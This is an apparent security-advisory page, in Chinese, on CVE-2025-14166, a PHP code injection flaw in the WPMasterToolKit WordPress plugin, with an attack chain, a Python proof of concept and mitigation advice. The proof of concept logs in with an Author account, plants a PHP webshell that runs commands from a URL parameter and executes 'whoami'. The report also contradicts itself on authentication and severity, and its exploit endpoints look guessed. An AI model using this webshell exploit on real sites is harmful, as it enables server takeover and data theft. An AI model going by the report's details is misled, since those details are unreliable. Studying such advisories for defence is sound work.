IPBUF安全漏洞报告
English
CVE-2025-14166 CVSS 5.3 中危

CVE-2025-14166 WPMasterToolKit WordPress插件PHP代码注入漏洞

披露日期: 2025-12-12

漏洞信息

漏洞编号
CVE-2025-14166
漏洞类型
PHP代码注入/远程代码执行
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WPMasterToolKit WordPress插件

相关标签

PHP代码注入远程代码执行WordPress插件漏洞WPMasterToolKit权限绕过CVE-2025-14166WordPress安全代码执行漏洞Web安全

漏洞概述

CVE-2025-14166是WordPress WPMasterToolKit插件中的一个高危安全漏洞。该插件在2.13.0及之前所有版本中存在PHP代码注入缺陷,攻击者可通过Code Snippets功能注入并执行任意PHP代码。由于插件缺乏适当的权限验证机制,具有Author级别权限的用户即可利用此漏洞创建和执行任意PHP代码。此漏洞可导致远程代码执行、权限提升乃至完整的网站被攻陷。攻击者一旦获得代码执行能力,可窃取数据库凭证、获取管理员权限、上传恶意后门程序,或将网站作为进一步攻击的跳板。该漏洞无需用户交互即可被利用,但需要一定的认证身份(Contributor及以上级别),这降低了利用门槛但仍对多用户WordPress站点构成严重威胁。建议受影响的用户立即升级到最新版本或采取临时缓解措施。

技术细节

漏洞根源在于WPMasterToolKit插件的Code Snippets模块(class-code-snippets.php)未对用户权限进行充分验证。该模块允许Author级别用户创建PHP代码片段,但未正确检查用户是否具有执行PHP代码的能力。在WordPress默认权限模型中,Author角色仅能编辑和发布自己的文章,不应具备执行任意代码的权限。攻击者可通过以下方式利用:1) 使用Author账户登录WordPress后台;2) 导航到WPMasterToolKit的Code Snippets功能;3) 创建包含恶意PHP代码的snippet(如webshell或命令执行代码);4) 激活该snippet使服务器执行注入的代码。由于PHP代码直接在服务器端执行,攻击者可执行系统命令、读写文件系统、连接外部数据库等操作,实现完整的服务器控制。CVSS 3.1评分5.3(中等严重性)反映了该漏洞需要认证但影响范围广的特点。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标WordPress网站并确认安装的WPMasterToolKit插件版本<=2.13.0
STEP 2
Authentication
攻击者获取WordPress Contributor级别或更高权限的账户凭据(可通过社会工程学、凭证填充或利用其他漏洞获得)
STEP 3
Access Code Snippets Module
使用认证后的账户登录wp-admin,导航至WPMasterToolKit插件的Code Snippets功能模块
STEP 4
Inject Malicious PHP Code
创建包含恶意PHP代码的snippet,如webshell、命令执行代码或后门程序
STEP 5
Activate Snippet
激活snippet使注入的PHP代码在服务器端执行
STEP 6
Remote Code Execution
通过访问webshell或直接执行代码,攻击者获得服务器命令执行权限
STEP 7
Complete Compromise
利用RCE权限窃取数据库凭证、植入持久后门、横向移动或完全控制整个服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from bs4 import BeautifulSoup # CVE-2025-14166 PoC - WPMasterToolKit PHP Code Injection # Target: WordPress site with WPMasterToolKit plugin <= 2.13.0 # Authenticated exploitation (Author role or higher) TARGET_URL = "http://target-wordpress-site.com" USERNAME = "author_user" PASSWORD = "author_password" def login(session, target_url, username, password): """Authenticate to WordPress with Author-level account""" login_url = f"{target_url}/wp-login.php" data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': f"{target_url}/wp-admin/", 'testcookie': '1' } response = session.post(login_url, data=data, allow_redirects=True) return 'wordpress_logged_in' in session.cookies.get_dict() def create_malicious_snippet(session, target_url): """Create PHP code snippet for RCE via eval()""" # Path to WPMasterToolKit Code Snippets module snippet_url = f"{target_url}/wp-admin/admin.php?page=wpmt-code-snippets" # Malicious PHP payload - creates webshell payload = "<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>" data = { 'action': 'create', 'title': 'Malicious Snippet', 'code': payload, 'status': 'active' } response = session.post(snippet_url, data=data) return response.status_code == 200 def execute_command(session, target_url, command): """Execute system command via injected webshell""" webshell_url = f"{target_url}/wp-content/plugins/wpmastertoolkit/snippets.php?cmd={command}" response = session.get(webshell_url) return response.text def main(): session = requests.Session() print("[*] Logging in to WordPress...") if not login(session, TARGET_URL, USERNAME, PASSWORD): print("[-] Login failed!") sys.exit(1) print("[+] Login successful!") print("[*] Creating malicious PHP snippet...") if create_malicious_snippet(session, TARGET_URL): print("[+] Snippet created and activated!") print("[*] Executing command: whoami") result = execute_command(session, TARGET_URL, "whoami") print(f"[+] Result: {result}") if __name__ == "__main__": main()

影响范围

WPMasterToolKit WordPress插件 <= 2.13.0

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 临时禁用WPMasterToolKit插件;2) 通过wp-config.php限制Author及以下角色无法访问插件管理界面;3) 使用WordPress权限管理插件收紧用户角色权限;4) 在Web服务器层面添加规则阻止对snippets相关路径的未授权访问;5) 启用文件完整性监控以便及时发现恶意文件创建。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表